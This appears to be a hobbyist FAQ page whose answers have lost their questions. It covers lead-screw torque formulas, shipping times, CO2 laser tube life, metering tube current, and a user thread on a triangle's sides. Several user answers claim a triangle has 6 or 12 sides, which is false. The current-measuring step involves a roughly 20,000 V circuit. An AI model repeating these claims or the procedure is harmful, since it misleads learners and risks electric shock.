There are two main questions that we can answer with respect to motor torque and the mechanical advantage of lead screws, 1) What torque motor do you need to lift a particular weight, or 2) What maximum weight will my motor torque be able to lift.

This formula uses Newtons (N) as it's final unit. Use this with the included radius (R) to determine the torque. Newtons can easily be converted to lbs or ounces using online conversions.

Effort = Sf + (Load/(2 x pi x (R/p) x Se))

where:
p = pitch of the screw
Se = screw efficiency = Standard lead screw will be between 20% (.2) and 40% (.4)
Sf = static force. This is the force that is needed to start the movement. The number may be eliminated, but it is good to use a number in the 5 N to 20 N range.
Load = the expected load that the effort will need to carry (i.e., the router and the included axis assembly that the motor will need to lift)
R = radius of the lead screw


This formula is based on the "law of the machine"

The final effort amount with its unit of newtons and R will be the torque. For example, if the effort comes to 100 N (newtons) and the R is .5 inches, then you can assume that the effort is 50 N-in since it would take twice the effort to turn form the one inch mark from the center of the shaft.

Example:

Load = 90 N (20.2 lbs)
R = 1 inch since that is the length from the center of the shaft that the motor is rated
p = 1 inch / 13 = .08 inches

Effort = 5 N + (90 N / (2 x 3.14 x (1 / .08) x .2))
Effort = 5 N + (90 N / (6.28 x 12.5 x .2))
Effort = 5 N + (90 N / (15.7))
Effort = 5 N + (5.73 N)
Effort = 10.7 N = 2.4 lbs = 38.4 oz-in

I am putting the oz-in on the end because the formula considers the distance from the center of the shaft to be one inch.

Therefore, a 425 oz-in motor would be able to lift a 20.2 lb Router with its accompanying assembly. If the assembly and router is heavier, plug in the numbers and determine the effort required.

With a bit of algebra, the formula can be rewritten to find the load:

Load = (Effort - Sf) x (2 x pi x (R/p) x Se)

Another formula that does not consider friction at all:

Effort = (Load x p) / (2 x pi x R)

Lets see if we get similar results:

Effort = (20 lb x .08 inches) / (2 x 3.14 x 1)
Effort = 1.6 / 6.28 = .255 lbs = 4.08 oz-in

The results from both formulas appear to be very small because a 13 TPI screw will have enormous mechanical advantage.

It is evident that the first formula that does consider friction that we are loosely estimating is far more conservative than the second formula. Either way, even the most conservative formula shows that the 425 oz-in motor will handle very large weights. If you are using a lead screw with only two turns per inch, .5 inch pitch, you can determine the requirements with the first formula.

Example for a 10 TPI 5 start (2 turns per inch) lead screw:

Load = 90 N (20.2 lbs)
R = 1 inch since that is the length from the center of the shaft that the motor is rated
p = 1 inch / 2 = .5 inches

Effort = 5 N + (90 N / (2 x 3.14 x (1 / .5) x .2))
Effort = 5 N + (90 N / (6.28 x 2 x .2))
Effort = 5 N + (90 N / (2.512))
Effort = 5 N + (35.83 N)
Effort = 40.828 N = 9.18 lbs = 146.88 oz-in

Unfortunately I am not able to give an estimate of shipping time. This is because there are multiple shipping options, Some of them cost more than others, but ensure the package arrives in a certain number of days. Others do not give a number of days, and many factors could change the length of shipping time, such as weather, or busy season. It would be best to choose an option you are comfortable with the price of, and then Google search the typical times it takes for that option to get to you, or call the shipping company and request that estimated time from them.

The average lifespan of a tube is 1000-1500 hours IF ran at a max of 16mA for most of it's life. It's life will go down if you run constantly at it's max rating.

CO2 laser tubes also have a shelf life. So make sure to only buy a replacement tube close to when you plan to install it, keeping it on a shelf for the future will only compromise it's life span.

To measure your amperage going through your system. You go from the negative line of the tube and run it THROUGH your multimeter/ammeter and back out to the laser PSU. This will give you your amp usage. It will not hurt your multimeter either. Just be sure your connections are very snug since 20,000V is liable to arc very easily if a connection comes loose.

The triangle has three (3) sides. The triangle is a polygon that contains three sides and three inner angles and three vertices.

Additional Information:
But if a triangle have a front and back side wouldn't the triangle have 5 sides

Additional Information:
Interesting slant (pun). A triangle would have 5 sides if the triangle had a thickness and became an object. A triangle drawn on paper with three lines would still only have three sides. A triangle is a primitive form of geometry (polygon) that can only have three sides in its simplest form. If you add complexity to the triangle with a thickness and count two more sides, then it really isn't the simplest form of the triangle anymore and it becomes another geometrical 3D primitive like a triangular prism.

Additional Information:
A triangle has multiply answers for number of sides but is made up of 3 lines.. this is because when connecting the 3rd line to form the shape you create an "inside". so you could say a triangle has 2 sides, an "outside" and "inside" or you could say 4 sides, an "inside" and 3 "outside facings" or 6 sides 3 "outside facings" and 3 "inside facings". none of these answers are incorrect technically. the important thing is that a triangle is made up of 3 inner angles adding upto 180 degree's.

Additional Information:
A triangle has 6 sides, there are 3 straight edges in AND out side of a triangle.

Additional Information:
I am fairly sure that a triangle has 12 sides (3 insides and 3 outsides on each side).
